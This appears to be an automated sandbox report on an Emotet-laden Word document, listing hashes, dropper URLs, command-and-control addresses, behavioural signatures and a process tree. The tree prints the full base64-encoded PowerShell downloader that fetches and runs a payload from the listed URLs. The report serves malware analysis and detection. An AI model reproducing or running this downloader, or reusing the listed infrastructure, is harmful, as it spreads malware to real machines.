Analysis
- max time kernel
137s - max time network
152s - platform
windows10_x64 - resource
win10v200722 - submitted
24/07/2020, 08:50
Static task
static1
Behavioral task
behavioral1
Sample
REP_05017408.doc
Resource
win7
General
- Target REP_05017408.doc
- Size 173KB
- Sample200724-ghpftrnshn
- SHA256 53e186f0c83f0f0d3e3f345243fdba2bb8d731d4a5c7a2d3e2f75f468057786b
- MD5 135a1fcad7dafe349e1445c3d2a02c5a
- SHA1 6efda9e1f382b42c4ab01e5cfc159f5c4d462cee
- SHA512 690595f485b341cbec415533fb970502c22c829ed5831ebc6d4c9c4644a9d0a94422b593cb72b57985f4d7c43c2a0b379e047433cb5ffd2d41a4a336c5307e77
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
-
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
-
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
-
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
-
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
Extracted
-
emotet
-
94.49.254.194:80
-
212.51.142.238:8080
-
91.231.166.124:8080
-
162.241.92.219:8080
-
79.98.24.39:8080
-
109.117.53.230:443
-
78.189.165.52:8080
-
113.160.130.116:8443
-
121.124.124.40:7080
-
101.187.97.173:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
5.39.91.110:7080
-
139.59.60.244:8080
-
81.2.235.111:8080
-
116.203.32.252:8080
-
61.19.246.238:443
-
176.111.60.55:8080
-
190.55.181.54:443
-
108.48.41.69:80
-
203.153.216.189:7080
-
103.86.49.11:8080
-
104.236.246.93:8080
-
75.139.38.211:80
-
169.239.182.217:8080
-
62.75.141.82:80
-
93.156.165.186:80
-
73.11.153.178:8080
-
157.245.99.39:8080
-
41.60.200.34:80
-
50.116.86.205:8080
-
31.31.77.83:443
-
209.182.216.177:443
-
62.138.26.28:8080
-
95.213.236.64:8080
-
95.179.229.244:8080
-
209.141.54.221:8080
-
91.211.88.52:7080
-
173.91.22.41:80
-
222.214.218.37:4143
-
37.187.72.193:8080
-
137.59.187.107:8080
-
139.130.242.43:80
-
46.105.131.87:80
-
87.106.139.101:8080
-
200.55.243.138:8080
-
5.196.74.210:8080
-
79.7.158.208:80
-
185.94.252.104:443
-
104.131.11.150:443
-
37.139.21.175:8080
-
190.108.228.62:443
-
24.1.189.87:8080
-
91.205.215.66:443
-
186.208.123.210:443
-
108.26.231.214:80
-
201.173.217.124:443
-
110.145.77.103:80
-
190.160.53.126:80
-
162.154.38.103:80
-
78.24.219.147:8080
-
210.165.156.91:80
-
109.74.5.95:8080
-
95.9.185.228:443
-
93.51.50.171:8080
-
200.41.121.90:80
-
46.105.131.79:8080
-
124.45.106.173:443
-
74.208.45.104:8080
-
153.126.210.205:7080
-
87.106.136.232:8080
-
190.144.18.198:80
Signatures
- Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3596 powersheLL.exe - Blacklisted process makes network request 4 IoCs
flow pid Process 15 3596 powersheLL.exe 19 3596 powersheLL.exe 21 3596 powersheLL.exe 26 3596 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2536 337.exe 3788 RpcPing.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2536 wrote to memory of 3788 2536 337.exe 78 PID 2536 wrote to memory of 3788 2536 337.exe 78 PID 2536 wrote to memory of 3788 2536 337.exe 78 - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2536-7-0x0000000000720000-0x000000000072C000-memory.dmp emotet behavioral2/memory/3788-10-0x0000000002050000-0x000000000205C000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4028 WINWORD.EXE 4028 WINWORD.EXE - Suspicious behavior: EmotetMutantsSpam 1 IoCs
pid Process 3788 RpcPing.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 2536 337.exe 2536 337.exe 3788 RpcPing.exe 3788 RpcPing.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3596 1000 powersheLL.exe 66 - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3596 powersheLL.exe 3596 powersheLL.exe 3596 powersheLL.exe 3788 RpcPing.exe 3788 RpcPing.exe 3788 RpcPing.exe 3788 RpcPing.exe 3788 RpcPing.exe 3788 RpcPing.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\winnsi\RpcPing.exe 337.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_05017408.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:4028
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:3596
-
C:\Users\Admin\337.exeC:\Users\Admin\337.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
PID:2536 -
C:\Windows\SysWOW64\winnsi\RpcPing.exe"C:\Windows\SysWOW64\winnsi\RpcPing.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:3788
-